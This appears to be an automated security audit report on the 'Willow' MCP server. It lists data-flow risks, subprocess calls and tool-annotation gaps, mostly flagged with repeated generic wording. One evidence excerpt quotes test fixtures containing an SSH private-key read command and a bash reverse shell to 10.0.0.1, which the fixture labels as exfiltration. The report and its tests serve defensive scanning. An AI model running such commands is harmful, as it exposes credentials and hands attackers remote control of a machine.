Willow MCP Server

Tools that read sensitive data ([mai_read_file, mai_get_env]) and tools that can send data out ([grove_send_message]) are exposed together. An agent can move private data to the sink.

Evidence: sources [mai_read_file, mai_get_env] → sinks [grove_send_message]

Fix: Keep secret-reading and egress capabilities on separate, separately-approved servers.

Location: flow mai_read_file → grove_send_message

In the server's implementation (`src/willow_mcp/meter.py:92`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ne try: r = subprocess.run( ["nvidia-smi", f"--query-gpu={field}", "--format=csv,noheader,nounit

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/meter.py

In the server's implementation (`src/willow_mcp/pgp.py:46`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: }.sig" try: subprocess.run( [ "gpg", "--batch",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/pgp.py

In the server's implementation (`src/willow_mcp/postgres_lifecycle.py:28`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: try: proc = subprocess.run( ["pg_isready", "-q"], capture_output=True, t

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/postgres_lifecycle.py

In the server's implementation (`src/willow_mcp/repo_sweep.py:53`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: str) -> str: proc = subprocess.run( ["git", "-C", str(repo), *args], capture_output=True, text=True,

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/repo_sweep.py

In the server's implementation (`src/willow_mcp/oauth.py:326`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: _JWKS_CACHE[1] with urllib.request.urlopen("https://appleid.apple.com/auth/keys", timeout=10) as resp: # nosec B310

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/oauth.py

Tool "mai_write_file" can write, overwrite or delete files (keyword "write_file" in tool name). Verify it is scoped to a safe directory.

Fix: Constrain file operations to an explicit, non-sensitive root; reject path traversal.

Location: tool mai_write_file

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_server.py:914`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ive"), ("cat ~/.ssh/id_rsa", "secret_access"), ("bash -i >& /dev/tcp/10.0.0.1/9 0>&1", "exfiltration"), (":(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_server.py

Tool "mai_write_file" can mutate/egress but declares no destructiveHint. Clients that don't default to spec-safe behavior may not prompt before running it.

Fix: Declare accurate annotations, and gate destructive tools on user confirmation regardless.

Location: tool mai_write_file

In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/build_holdings.py:17`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ath): return None r=subprocess.run(["du","-sh",path],capture_output=True,text=True) return r.stdout.split()[0] i

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server docs/repatriation/engine/build_holdings.py

In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/extract_pieces.py:15`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ect, cypher): out = subprocess.run([CBM, "cli", "query_graph", json.dumps({"project": proj

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server docs/repatriation/engine/extract_pieces.py

In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/materialize_toolkit.py:34`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: e("/tmp/_tk") r=subprocess.run(["curl","-sSL","--max-time","30","-w","%{http_code}","-o","/tmp/_tk",url],

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server docs/repatriation/engine/materialize_toolkit.py

In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/mcpdrive.py:12`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: None): self.p = subprocess.Popen( cmd, shell=True, cwd=cwd, stdin=subprocess.PIPE, stdou

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server docs/repatriation/engine/mcpdrive.py

In a packaging/dev/install script (shipped, but not the server runtime) (`scripts/ratification/pick_and_check.py:4`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ) def pg(q): return subprocess.run(["psql","-d","willow_both","-tAc",q], capture_output=Tr

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server scripts/ratification/pick_and_check.py

In a packaging/dev/install script (shipped, but not the server runtime) (`scripts/vendor_drift.py:64`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: r: try: p = subprocess.run( ["git", "-C", str(repo), *args], capture_output=True, te

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server scripts/vendor_drift.py